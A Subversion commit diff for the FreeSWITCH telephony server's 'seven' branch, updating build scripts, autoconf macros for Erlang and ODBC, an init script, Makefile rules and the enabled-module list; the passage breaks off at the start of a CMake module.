+++ freeswitch/branches/seven/build/buildzrtp.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+#!/bin/sh
+tar zxf libzrtp-0.81.514.tar.gz
+cd libzrtp-0.81.514
+patch -p1 < ../patches/zrtp_bnlib_pic.diff
+cd projects/gnu/
+./configure CFLAGS="-fPIC"
+make
+make install

Deleted: freeswitch/branches/seven/build/config/ODBC.m4

Modified: freeswitch/branches/seven/build/config/ax_cflags_warn_all_ansi.m4 (14471 => 14472)


--- freeswitch/branches/seven/build/config/ax_cflags_warn_all_ansi.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/config/ax_cflags_warn_all_ansi.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,12 +14,12 @@
 for ac_arg dnl
 in "-pedantic  % -Wall -std=c99 -pedantic"       dnl   GCC
    "-xstrconst % -v -Xc -xc99=all"                      dnl Solaris C
-   "-std1      % -verbose -w0 -warnprotos -std1" dnl Digital Unix
-   " % -qlanglvl=ansi -qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd" dnl AIX
-   " % -ansi -ansiE -fullwarn"                dnl IRIX
-   "+ESlit     % +w1 -Aa"                     dnl HP-UX C
-   "-Xc        % -pvctl[,]fullmsg -Xc"        dnl NEC SX-5 (Super-UX 10)
-   "-h conform % -h msglevel 2 -h conform"    dnl Cray C (Unicos)
+#   "-std1      % -verbose -w0 -warnprotos -std1" dnl Digital Unix
+#   " % -qlanglvl=ansi -qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd" dnl AIX
+#   " % -ansi -ansiE -fullwarn"                dnl IRIX
+#   "+ESlit     % +w1 -Aa"                     dnl HP-UX C
+#   "-Xc        % -pvctl[,]fullmsg -Xc"        dnl NEC SX-5 (Super-UX 10)
+#   "-h conform % -h msglevel 2 -h conform"    dnl Cray C (Unicos)
    #
 do FLAGS="$ac_save_[]FLAGS "`echo $ac_arg | sed -e 's,%%.*,,' -e 's,%,,'`
    AC_TRY_COMPILE([],[return 0;],
@@ -62,12 +62,12 @@
 for ac_arg dnl
 in "-pedantic  % -Wall -ansi -pedantic"       dnl   GCC
    "-xstrconst % -v -Xc"                      dnl Solaris C
-   "-std1      % -verbose -w0 -warnprotos -std1" dnl Digital Unix
-   " % -qlanglvl=ansi -qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd" dnl AIX
-   " % -ansi -ansiE -fullwarn"                dnl IRIX
-   "+ESlit     % +w1 -Aa"                     dnl HP-UX C
-   "-Xc        % -pvctl[,]fullmsg -Xc"        dnl NEC SX-5 (Super-UX 10)
-   "-h conform % -h msglevel 2 -h conform"    dnl Cray C (Unicos)
+#   "-std1      % -verbose -w0 -warnprotos -std1" dnl Digital Unix
+#   " % -qlanglvl=ansi -qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd" dnl AIX
+#   " % -ansi -ansiE -fullwarn"                dnl IRIX
+#   "+ESlit     % +w1 -Aa"                     dnl HP-UX C
+#   "-Xc        % -pvctl[,]fullmsg -Xc"        dnl NEC SX-5 (Super-UX 10)
+#   "-h conform % -h msglevel 2 -h conform"    dnl Cray C (Unicos)
    #
 do FLAGS="$ac_save_[]FLAGS "`echo $ac_arg | sed -e 's,%%.*,,' -e 's,%,,'`
    AC_TRY_COMPILE([],[return 0;],

Copied: freeswitch/branches/seven/build/config/erlang.m4 (from rev 14471, freeswitch/trunk/build/config/erlang.m4) (0 => 14472)


--- freeswitch/branches/seven/build/config/erlang.m4	                        (rev 0)
+++ freeswitch/branches/seven/build/config/erlang.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+AC_DEFUN([CHECK_ERLANG], [
+#
+# Erlang checks for mod_erlang_event
+#
+AC_ARG_WITH(
+	[erlang],
+	[AS_HELP_STRING([--with-erlang], [Use system provided version of erlang (default: try)])],
+	[with_erlang="$withval"],
+	[with_erlang="try"]
+)
+
+if test "$with_erlang" != "no"
+then
+	save_CFLAGS="$CFLAGS"
+	save_LIBS="$LIBS"
+
+	if test "$with_erlang" != "yes" -a "$with_erlang" != "try" ; then
+		AC_MSG_CHECKING([for erlang])
+		if test ! -x "$with_erlang" ; then
+			AC_MSG_ERROR([Specified erlang does not exist or is not executable: $with_erlang])
+		fi
+		AC_MSG_RESULT([$with_erlang])
+		AC_SUBST([ERLANG], ["$with_erlang"])
+	else
+		AC_PATH_PROG([ERLANG], ["erl"], ["no"], ["$PATH:/usr/bin:/usr/local/bin"])
+	fi
+
+	if test "$ERLANG" != "no" ; then
+		AC_MSG_CHECKING([erlang version])
+		ERLANG_VER="`$ERLANG -version 2>&1 | cut -d' ' -f6`"
+
+		if test -z "$ERLANG_VER" ; then
+			AC_MSG_ERROR([Unable to detect erlang version])
+		fi
+		AC_MSG_RESULT([$ERLANG_VER])
+
+		ERLANG_LIBDIR=`$ERLANG -noshell -eval 'io:format("~n~s/lib~n", [[code:lib_dir("erl_interface")]]).' -s erlang halt | tail -n 1`
+		AC_MSG_CHECKING([erlang libdir])
+		if test -z "`echo $ERLANG_LIBDIR`" ; then
+			AC_MSG_ERROR([failed])
+		else
+			ERLANG_LDFLAGS="-L$ERLANG_LIBDIR $ERLANG_LDFLAGS"
+			LIBS="-L$ERLANG_LIBDIR $LIBS"
+		fi
+		AC_MSG_RESULT([$ERLANG_LIBDIR])
+
+		ERLANG_INCDIR=`$ERLANG -noshell -eval 'io:format("~n~s/include~n", [[code:lib_dir("erl_interface")]]).' -s erlang halt | tail -n 1`
+		AC_MSG_CHECKING([erlang incdir])
+		if test -z "`echo $ERLANG_INCDIR`" ; then
+			AC_MSG_ERROR([failed])
+		else
+			ERLANG_CFLAGS="-I$ERLANG_INCDIR $ERLANG_CFLAGS"
+			CFLAGS="-I$ERLANG_INCDIR $CFLAGS"
+		fi
+		AC_MSG_RESULT([$ERLANG_INCDIR])
+
+		AC_CHECK_HEADERS([ei.h], [has_ei_h="yes"], [has_ei_h="no"])
+
+		ERLANG_LIB="ei"
+
+		# check liei
+		AC_CHECK_LIB([$ERLANG_LIB], [ei_encode_version], [has_libei="yes"], [has_libei="no"])
+		# maybe someday ei will actually expose this?
+		AC_CHECK_LIB([$ERLANG_LIB], [ei_link_unlink], [ERLANG_CFLAGS="$ERLANG_CFLAGS -DEI_LINK_UNLINK"])
+
+		if test "$has_libei" = "no" ; then
+			AS_IF([test "$with_erlang" = "try"],
+			 	[AC_MSG_WARN([$ERLANG_LIB is unusable])],
+				[AC_MSG_ERROR([$ERLANG_LIB is unusable])]
+			)
+		elif test "$has_ei_h" = "no"; then
+			AS_IF([test "$with_erlang" = "try"],
+				[AC_MSG_WARN([ei.h is unusable - are the erlang development headers installed?])],
+				[AC_MSG_ERROR([ei.h is unusable - are the erlang development headers installed?])]
+			)
+		else
+			ERLANG_LDFLAGS="$ERLANG_LDFLAGS -lei"
+			AC_MSG_NOTICE([Your erlang seems OK, do not forget to enable mod_erlang_event in modules.conf])
+			AC_SUBST([ERLANG_CFLAGS],  [$ERLANG_CFLAGS])
+			AC_SUBST([ERLANG_LDFLAGS], [$ERLANG_LDFLAGS])
+		fi
+
+		LIBS="$save_LIBS"
+		CFLAGS="$save_CFLAGS"
+
+	else
+		AS_IF([test "$with_erlang" = "try"],
+			[AC_MSG_WARN([Could not find erlang, mod_erlang_event will not build, use --with-erlang to specify the location])],
+			[AC_MSG_ERROR([Could not find erlang, use --with-erlang to specify the location])]
+		)
+	fi
+else
+	AC_MSG_WARN([erlang support disabled, building mod_erlang_event will fail!])
+fi
+
+])

Copied: freeswitch/branches/seven/build/config/odbc.m4 (from rev 14471, freeswitch/trunk/build/config/odbc.m4) (0 => 14472)


--- freeswitch/branches/seven/build/config/odbc.m4	                        (rev 0)
+++ freeswitch/branches/seven/build/config/odbc.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,163 @@
+dnl Derrick Brashear
+dnl from KTH krb and Arla
+
+AC_DEFUN([ODBC_INC_WHERE1], [
+ac_cv_found_odbc_inc=no
+if test -f "$1/sql.h" ; then
+  ac_cv_found_odbc_inc=yes
+fi
+])
+
+AC_DEFUN([ODBC_INC_WHERE], [
+   for i in $1; do
+      AC_MSG_CHECKING(for odbc header in $i)
+      ODBC_INC_WHERE1($i)
+      if test "$ac_cv_found_odbc_inc" = "yes"; then
+        ac_cv_odbc_where_inc=$i
+        AC_MSG_RESULT(found)
+        break
+      else
+        AC_MSG_RESULT(no found)
+      fi
+    done
+])
+
+AC_DEFUN([ODBC_LIB_WHERE1], [
+saved_LIBS=$LIBS
+saved_CFLAGS=$CFLAGS
+case "$host" in
+     *darwin*)
+	LIBS="$saved_LIBS -L$1 -lodbc -framework CoreFoundation"
+     ;;
+     *)
+	LIBS="$saved_LIBS -L$1 -lodbc"
+     ;;
+esac
+CFLAGS="$saved_CFLAGS -I$ac_cv_odbc_where_inc"
+AC_TRY_LINK(
+[#include <sql.h>],
+[SQLHDBC con;
+SQLDisconnect(con);],
+[ac_cv_found_odbc_lib=yes],
+ac_cv_found_odbc_lib=no)
+LIBS=$saved_LIBS
+CFLAGS=$saved_CFLAGS
+])
+
+AC_DEFUN([TEST_LIBPATH], [
+changequote(<<, >>)
+define(<<AC_CV_FOUND>>, translit(ac_cv_found_$2_lib, <<- *>>, <<__p>>))
+changequote([, ])
+if test "$AC_CV_FOUND" = "yes"; then
+  if test \! -r "$1/lib$2.a" -a \! -r "$1/lib$2.so" -a \! -r "$1/lib$2.sl" -a \! -r "$1/lib$2.dylib"; then
+    AC_CV_FOUND=no
+  fi
+fi
+])
+
+
+AC_DEFUN([ODBC_LIB_WHERE], [
+   for i in $1; do
+      AC_MSG_CHECKING(for odbc library in $i)
+      ODBC_LIB_WHERE1($i)
+      TEST_LIBPATH($i, odbc)
+      if test "$ac_cv_found_odbc_lib" = "yes" ; then
+        ac_cv_odbc_where_lib=$i
+        AC_MSG_RESULT(found)
+        break
+      else
+        AC_MSG_RESULT(no found)
+      fi
+    done
+])
+
+AC_DEFUN([FIND_LIB_SUBDIR],
+[dnl
+AC_ARG_WITH([lib-subdir], AC_HELP_STRING([--with-lib-subdir=DIR],[Find libraries in DIR instead of lib]))
+AC_CHECK_SIZEOF(long)
+AC_CACHE_CHECK([what directory libraries are found in], [ac_cv_cmu_lib_subdir],
+[test "X$with_lib_subdir" = "Xyes" && with_lib_subdir=
+test "X$with_lib_subdir" = "Xno" && with_lib_subdir=
+ if test "X$with_lib_subdir" = "X" ; then
+   ac_cv_cmu_lib_subdir=lib
+   if test $ac_cv_sizeof_long -eq 4 ; then
+     test -d /usr/lib32 && ac_cv_cmu_lib_subdir=lib32
+   fi
+   if test $ac_cv_sizeof_long -eq 8 ; then
+     test -d /usr/lib64 && ac_cv_cmu_lib_subdir=lib64
+   fi
+ else
+   ac_cv_cmu_lib_subdir=$with_lib_subdir
+ fi])
+ AC_SUBST(LIB_SUBDIR, $ac_cv_cmu_lib_subdir)
+ ])
+ 
+
+AC_DEFUN([AX_LIB_ODBC], [
+AC_REQUIRE([FIND_LIB_SUBDIR])
+AC_ARG_WITH(odbc,
+	[  --with-odbc=PREFIX      Compile with ODBC support],
+	[if test "X$with_odbc" = "X"; then
+		with_odbc=yes
+	fi])
+AC_ARG_WITH(odbc-lib,
+	[  --with-odbc-lib=dir     use odbc libraries in dir],
+	[if test "$withval" = "yes" -o "$withval" = "no"; then
+		AC_MSG_ERROR([No argument for --with-odbc-lib])
+	fi])
+AC_ARG_WITH(odbc-include,
+	[  --with-odbc-include=dir use odbc headers in dir],
+	[if test "$withval" = "yes" -o "$withval" = "no"; then
+		AC_MSG_ERROR([No argument for --with-odbc-include])
+	fi])
+
+	if test "X$with_odbc" != "X"; then
+	  if test "$with_odbc" != "yes"; then
+	    ac_cv_odbc_where_lib=$with_odbc
+	    ac_cv_odbc_where_inc=$with_odbc/include
+	  fi
+	fi
+
+	if test "X$with_odbc_include" != "X"; then
+	  ac_cv_odbc_where_inc=$with_odbc_include
+	fi
+	if test "X$ac_cv_odbc_where_inc" = "X"; then
+	  ODBC_INC_WHERE(/usr/include /usr/local/include)
+	fi
+
+	if test "X$with_odbc_lib" != "X"; then
+	  ac_cv_odbc_where_lib=$with_odbc_lib
+	fi
+	if test "X$ac_cv_odbc_where_lib" = "X"; then
+	  AC_CHECK_LIB([odbc],[SQLDisconnect],[ac_cv_odbc_where_lib="yes"],[ 
+	  ODBC_LIB_WHERE(/usr/$LIB_SUBDIR /usr/local/$LIB_SUBDIR)
+ 	  ])
+	fi
+
+	AC_MSG_CHECKING(whether to include odbc)
+	if test "X$ac_cv_odbc_where_lib" = "X" -o "X$ac_cv_odbc_where_inc" = "X"; then
+	  ac_cv_found_odbc=no
+	  AC_MSG_RESULT(no)
+	else
+	  ac_cv_found_odbc=yes
+	  AC_MSG_RESULT(yes)
+	  ODBC_INC_DIR=$ac_cv_odbc_where_inc
+	  ODBC_LIB_DIR=$ac_cv_odbc_where_lib
+	  ODBC_INC_FLAGS="-I$ac_cv_odbc_where_inc"
+	  ODBC_LIB_FLAGS="-Wl,-lodbc"
+	  case "$host" in
+     	       *darwin*)
+			ODBC_LIB_FLAGS="$ODBC_LIB_FLAGS -framework CoreFoundation"
+     		;;
+	  esac
+	  if test "$ac_cv_odbc_where_lib" != "yes"; then
+	     ODBC_LIB_FLAGS="-L$ac_cv_odbc_where_lib $ODBC_LIB_FLAGS"
+	  fi
+	  AC_SUBST(ODBC_INC_DIR)
+	  AC_SUBST(ODBC_LIB_DIR)
+	  AC_SUBST(ODBC_INC_FLAGS)
+	  AC_SUBST(ODBC_LIB_FLAGS)
+	  AC_DEFINE([HAVE_ODBC],[1],[libodbc])
+	fi
+	])
+

Modified: freeswitch/branches/seven/build/freeswitch.init.redhat (14471 => 14472)


--- freeswitch/branches/seven/build/freeswitch.init.redhat	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/freeswitch.init.redhat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,9 +15,10 @@
 . /etc/init.d/functions
 
 PROG_NAME=freeswitch
-PID_FILE=/opt/freeswitch/log/freeswitch.pid
-FS_USER=freeswitch
-FS_FILE=/opt/freeswitch/bin/freeswitch
+PID_FILE=${PID_FILE-/opt/freeswitch/log/freeswitch.pid}
+FS_USER=${FS_USER-freeswitch}
+FS_FILE=${FS_FILE-/opt/freeswitch/bin/freeswitch} 
+FS_HOME=${FS_HOME-/opt/freeswitch}
 LOCK_FILE=/var/lock/subsys/freeswitch
 FREESWITCH_ARGS="-nc"
 RETVAL=0
@@ -40,7 +41,7 @@
                 return 1
             fi
         fi
-
+	cd $FS_HOME
         daemon --user $FS_USER --pidfile $PID_FILE "$FS_FILE $FREESWITCH_ARGS $FREESWITCH_PARAMS >/dev/null 2>&1"
 		echo
 		RETVAL=$?
@@ -58,6 +59,7 @@
             echo
             return 1;
         fi
+	cd $FS_HOME
 	$FS_FILE -stop > /dev/null 2>&1
         killproc $PROG_NAME
 	RETVAL=$?

Modified: freeswitch/branches/seven/build/freeswitch.monitrc (14471 => 14472)


--- freeswitch/branches/seven/build/freeswitch.monitrc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/freeswitch.monitrc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,9 +12,8 @@
    if failed checksum then unmonitor
    if failed permission 755 then unmonitor
    if failed uid freeswitch then unmonitor
-   if failed gid daemon then unmonitor
 
- check file sendmail_rc with path /etc/init.d/freeswitch
+ check file freeswitch_rc with path /etc/init.d/freeswitch
    group voice
    if failed checksum then unmonitor
    if failed permission 755 then unmonitor

Modified: freeswitch/branches/seven/build/getlib.sh.in (14471 => 14472)


--- freeswitch/branches/seven/build/getlib.sh.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/getlib.sh.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,15 +5,15 @@
 WGET=@WGET@
 CURL=@CURL@
 
-if [ -f $WGET ] ; then
+if [ -f "$WGET" ] ; then
     DOWNLOAD_CMD=$WGET
 else
-    if [ -f $CURL ] ; then
+    if [ -f "$CURL" ] ; then
         DOWNLOAD_CMD="$CURL -O"
     fi
 fi
 
-base=http://svn.freeswitch.org/downloads/libs/
+base=http://files.freeswitch.org/downloads/libs/
 tarfile=$1
 url=`echo $tarfile | grep "://"`
 

Modified: freeswitch/branches/seven/build/getsounds.sh.in (14471 => 14472)


--- freeswitch/branches/seven/build/getsounds.sh.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/getsounds.sh.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,4 +33,3 @@
 fi
 
 exit 0
-

Modified: freeswitch/branches/seven/build/ignore_helper.pl (14471 => 14472)


--- freeswitch/branches/seven/build/ignore_helper.pl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/ignore_helper.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 ################################################################################
 # ignore_helper.pl
-# Copyright (c) 2007 Anthony Minessale II <anthmct@yahoo.com>
+# Copyright (c) 2007-2009 Anthony Minessale II <anthm@freeswitch.org>
 # 
 # Permission is hereby granted, free of charge, to any person
 # obtaining a copy of this software and associated documentation

Modified: freeswitch/branches/seven/build/modmake.rules.in (14471 => 14472)


--- freeswitch/branches/seven/build/modmake.rules.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/modmake.rules.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -10,7 +10,7 @@
 INSTALL=@INSTALL@
 GETLIB=@GETLIB@
 LIBTOOL=@LIBTOOL@
-LTINSTALL=$(LIBTOOL) --mode=install $(INSTALL)
+LTINSTALL=$(LIBTOOL) --quiet --mode=install $(INSTALL) 
 LTUNINSTALL=$(LIBTOOL) --mode=uninstall rm -f 
 CCLD = $(CC)
 CXXLD = $(CXX)
@@ -21,6 +21,9 @@
 CURL_DIR=$(switch_srcdir)/libs/curl
 CURLLA=$(CURL_DIR)/lib/libcurl.la
 
+OPENSSL_LIBS=@openssl_LIBS@
+OPENSSL_CFLAGS=@openssl_CFLAGS@
+
 LIBS=$(switch_builddir)/libfreeswitch.la
 DEFS=@DEFS@
 PREFIX = @prefix@
@@ -30,6 +33,7 @@
 LD_LIBRARY_PATH=@libdir@:$LD_LIBRARY_PATH
 OSARCH=`uname -s`
 DYNAMIC_LIB_EXTEN = @DYNAMIC_LIB_EXTEN@
+LIBTOOL_LIB_EXTEN = @LIBTOOL_LIB_EXTEN@
 SOLINK = @SOLINK@
 
 LDFLAGS=@SWITCH_AM_LDFLAGS@ @LDFLAGS@ $(OUR_LDFLAGS)
@@ -39,11 +43,11 @@
 
 COMPILE      = $(CC) $(ALL_CFLAGS) $(DEFS)
 LTCOMPILE = $(LIBTOOL) --mode=compile --tag=CC $(COMPILE)
-LINK = $(LIBTOOL) --mode=link --tag=CC $(CCLD) $(ALL_CFLAGS) $(LDFLAGS) -o $@
+LINK = $(LIBTOOL) --mode=link --tag=CC $(CCLD) $(ALL_CFLAGS) $(LDFLAGS) -shared -module -avoid-version -rpath $(MODINSTDIR) -o $@
 
 CXXCOMPILE = $(CXX) $(ALL_CXXFLAGS) $(DEFS)
 LTCXXCOMPILE = $(LIBTOOL) --mode=compile --tag=CXX $(CXXCOMPILE)
-CXXLINK = $(LIBTOOL) --mode=link --tag=CXX $(CXXLD) $(ALL_CXXFLAGS) $(LDFLAGS) -o $@
+CXXLINK = $(LIBTOOL) --mode=link --tag=CXX $(CXXLD) $(ALL_CXXFLAGS) $(LDFLAGS) -shared -module -avoid-version -rpath $(MODINSTDIR) -o $@
 
 CSOURCEFILE=$(MODNAME).c
 CXXSOURCEFILE=$(MODNAME).cpp
@@ -56,7 +60,7 @@
 RECURSE_OUR_DEPS=`test -z "$(WANT_CURL)" || if test ! -z "$(LIBCURL_DEPS)"; then echo $(CURLLA); fi `
 RECURSE_OUR_CFLAGS=`test -z "$(WANT_CURL)" || echo $(LIBCURL_CPPFLAGS) ; $(LOCAL_INSERT_CFLAGS) `
 RECURSE_OUR_LDFLAGS=`test -z "$(WANT_CURL)" || echo $(LIBCURL) ; $(LOCAL_INSERT_LDFLAGS) `
-RECURSE_MAKE=modname="$(RECURSE_MODNAME)" ; \
+RECURSE_MAKE=+modname="$(RECURSE_MODNAME)" ; \
 		sourcefile="$(RECURSE_SOURCEFILE)" ; \
 		osarch=`uname -s` ; \
 		ourdefs="$(RECURSE_OUR_DEPS)" ; \
@@ -81,7 +85,7 @@
 extraclean: Makefile
 	@$(RECURSE_MAKE) extraclean-modules || exit 1
 
-all-modules: local_depend $(MODNAME).$(DYNAMIC_LIB_EXTEN) local_all Makefile
+all-modules: local_depend $(MODNAME).$(LIBTOOL_LIB_EXTEN) local_all Makefile
 depend-modules: local_depend
 clean-modules: local_clean mod_clean
 install-modules: all-modules depend_install local_install mod_install
@@ -107,27 +111,27 @@
 			  exit 1 ;\
 			 fi 
 
-$(MODNAME).$(DYNAMIC_LIB_EXTEN): $(LIBS) $(LOCAL_LIBADD) $(OUR_DEPS) $(LOCAL_OBJS) $(OUR_OBJS) $(SOURCEFILE) $(MODNAME).o 
+$(MODNAME).$(LIBTOOL_LIB_EXTEN): $(LIBS) $(LOCAL_LIBADD) $(OUR_DEPS) $(LOCAL_OBJS) $(OUR_OBJS) $(SOURCEFILE) $(MODNAME).lo 
 	@echo Creating $@...
 	@test -d .libs || mkdir .libs
 	@error="";\
 	if test -f $(CSOURCEFILE); then \
-	$(LINK) $(SOLINK) $(MODNAME).o $(LIBS) $(LOCAL_LDFLAGS) $(LOCAL_OBJS) $(OUR_OBJS) $(LOCAL_LIBADD) $(LINK_OUTPUT_REDIR) ;\
+	$(LINK) $(SOLINK) $(MODNAME).lo $(LIBS) $(LOCAL_LDFLAGS) $(LOCAL_OBJS) $(OUR_OBJS) $(LOCAL_LIBADD) $(LOCAL_LDFLAGS_POST) $(LINK_OUTPUT_REDIR) ;\
 	else \
-	$(CXXLINK) $(SOLINK) $(MODNAME).o $(LIBS) $(LOCAL_LDFLAGS) $(LOCAL_OBJS) $(OUR_OBJS) $(LOCAL_LIBADD) $(LINK_OUTPUT_REDIR) ;\
+	$(CXXLINK) $(SOLINK) $(MODNAME).lo $(LIBS) $(LOCAL_LDFLAGS) $(LOCAL_OBJS) $(OUR_OBJS) $(LOCAL_LIBADD) $(LOCAL_LDFLAGS_POST) $(LINK_OUTPUT_REDIR) ;\
 	fi;
 
 mod_clean:
-	@rm -fr *.$(DYNAMIC_LIB_EXTEN) *.o *.lo *~ .libs $(LOCAL_OBJS)
+	@rm -fr *.$(LIBTOOL_LIB_EXTEN) *.o *.lo *~ .libs $(LOCAL_OBJS)
 
-mod_install: $(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(DYNAMIC_LIB_EXTEN)
+mod_install: $(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(LIBTOOL_LIB_EXTEN)
 
-$(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(DYNAMIC_LIB_EXTEN):$(MODNAME).$(DYNAMIC_LIB_EXTEN)
+$(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(LIBTOOL_LIB_EXTEN):$(MODNAME).$(LIBTOOL_LIB_EXTEN)
 	@echo installing $<
-	@$(LTINSTALL) $(MODNAME).$(DYNAMIC_LIB_EXTEN) $(DESTDIR)$(MODINSTDIR) >/dev/null
+	@$(LTINSTALL) $(MODNAME).$(LIBTOOL_LIB_EXTEN) $(DESTDIR)$(MODINSTDIR) >/dev/null
 
 mod_uninstall:
-	@$(LTUNINSTALL) $(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(DYNAMIC_LIB_EXTEN)
+	@$(LTUNINSTALL) $(DESTDIR)$(MODINSTDIR)/$(MODNAME).$(LIBTOOL_LIB_EXTEN)
 
 # define these in your makefile if you wish
 local_all local_depend local_clean depend_install local_install local_distclean local_extraclean local_uninstall:

Modified: freeswitch/branches/seven/build/modules.conf.in (14471 => 14472)


--- freeswitch/branches/seven/build/modules.conf.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/modules.conf.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,6 +7,7 @@
 applications/mod_enum
 applications/mod_fifo
 #applications/mod_fax
+#applications/mod_curl
 applications/mod_voicemail
 #applications/mod_lcr
 applications/mod_limit
@@ -14,22 +15,29 @@
 applications/mod_esf
 #applications/mod_easyroute
 applications/mod_fsv
+#applications/mod_nibblebill
 #applications/mod_soundtouch
 #applications/mod_rss
 #applications/mod_snom
 #applications/mod_vmd
+#applications/mod_memcache
+#applications/mod_spy
+applications/mod_cluechoo
+#asr_tts/mod_unimrcp
 #asr_tts/mod_flite
 #asr_tts/mod_pocketsphinx
 #asr_tts/mod_cepstral
 codecs/mod_g723_1
 codecs/mod_amr
+#codecs/mod_amrwb
 codecs/mod_g729
 codecs/mod_h26x
 codecs/mod_voipcodecs
 codecs/mod_ilbc
 codecs/mod_speex
-#codecs/mod_siren
+codecs/mod_siren
 #codecs/mod_celt
+#codecs/mod_dahdi_codec
 #dialplans/mod_dialplan_directory
 dialplans/mod_dialplan_xml
 dialplans/mod_dialplan_asterisk
@@ -41,18 +49,22 @@
 endpoints/mod_loopback
 #endpoints/mod_alsa
 #endpoints/mod_opal
+#endpoints/mod_skypiax
 #../../libs/openzap/mod_openzap
 #event_handlers/mod_event_multicast
 event_handlers/mod_event_socket
 event_handlers/mod_cdr_csv
 #event_handlers/mod_radius_cdr
+#event_handlers/mod_erlang_event
 formats/mod_native_file
 formats/mod_sndfile
 #formats/mod_shout
 formats/mod_local_stream
 formats/mod_tone_stream
+formats/mod_file_string
 #languages/mod_python
 languages/mod_spidermonkey
+languages/mod_spidermonkey_curl
 languages/mod_spidermonkey_teletone
 languages/mod_spidermonkey_core_db
 languages/mod_spidermonkey_socket
@@ -70,4 +82,11 @@
 #say/mod_say_fr
 #say/mod_say_it
 #say/mod_say_nl
+say/mod_say_ru
 #say/mod_say_zh
+
+
+
+## Experimental Modules (don't cry if they're broken)
+#../../contrib/mod/endpoints/mod_khomp
+#../../contrib/mod/xml_int/mod_xml_odbc

Copied: freeswitch/branches/seven/build/moh_version.txt (from rev 14471, freeswitch/trunk/build/moh_version.txt) (0 => 14472)


--- freeswitch/branches/seven/build/moh_version.txt	                        (rev 0)
+++ freeswitch/branches/seven/build/moh_version.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+1.0.8
\ No newline at end of file

Modified: freeswitch/branches/seven/build/sounds_version.txt (14471 => 14472)


--- freeswitch/branches/seven/build/sounds_version.txt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/sounds_version.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-1.0.7
+1.0.10

Modified: freeswitch/branches/seven/build/turbo_build.sh (14471 => 14472)


--- freeswitch/branches/seven/build/turbo_build.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/turbo_build.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,12 +1,19 @@
 arg=$1 ; shift
+prefix=`cat config.log | grep ^prefix=\' | awk -F \' '{print $2}'`
+if [ -z $prefix ] ; then
+    prefix="/usr/local/freeswitch"
+fi
+unset VERBOSE
 switch_srcdir=`pwd`
 if [ -z $MAKE ] ; then
     MAKE=make
 fi
 
 if [ -z $arg ] ; then
-    $MAKE clean
-    $MAKE -j freeswitch
+    echo "Cleaning tree...."
+    $MAKE clean modwipe 2>&1 > /dev/null
+    echo "Building core...."
+    $MAKE -j freeswitch 2>&1 > /dev/null
     MODS=`cat modules.conf | grep -v \#`
     for i in $MODS ; do 
 	MOD_NAME=`echo $i | sed -e 's|^.*/||'`
@@ -14,6 +21,7 @@
 	touch /tmp/$MOD_NAME.tmp
 	$0 $MOD_NAME $MOD_DIR
     done
+    echo "Building mods...."
     while [ 1 = 1 ] ; do
 	x=0
 	for i in $MODS ; do
@@ -23,7 +31,8 @@
 	done
 	if [ $x = 0 ] ; then
 	    echo Build finished. Making install
-	    $MAKE install
+	    $MAKE -j install  2>&1 > /dev/null
+	    echo done
 	    exit;
 	fi
 	sleep 1
@@ -41,14 +50,14 @@
 MOD_NAME=$1 ; shift
 MOD_DIR=$1 ; shift
 
-echo "Making module in $MOD_NAME"
+#echo "Making module in $MOD_NAME..."
 if [ -f $MOD_DIR/Makefile ] ; then 
-    cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j
+    cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j 2>&1 > /dev/null
 else
-    cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j -f $switch_srcdir/build/modmake.rules
+    cd $MOD_DIR && BASE=$switch_srcdir $MAKE -j -f $switch_srcdir/build/modmake.rules  2>&1 > /dev/null
 fi
 
-echo "Finished making module in $MOD_NAME"
+#echo "Finished making module in $MOD_NAME"
 sleep 1
 rm /tmp/$MOD_NAME.tmp
 

Copied: freeswitch/branches/seven/cmake_modules (from rev 14471, freeswitch/trunk/cmake_modules)

Deleted: freeswitch/branches/seven/cmake_modules/FindAPR.cmake

Copied: freeswitch/branches/seven/cmake_modules/FindAPR.cmake (from rev 14471, freeswitch/trunk/cmake_modules/FindAPR.cmake) (0 => 14472)


--- freeswitch/branches/seven/cmake_modules/FindAPR.cmake	                        (rev 0)
+++ freeswitch/branches/seven/cmake_modules/FindAPR.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+# Locate APR include paths and libraries
+
+# This module defines
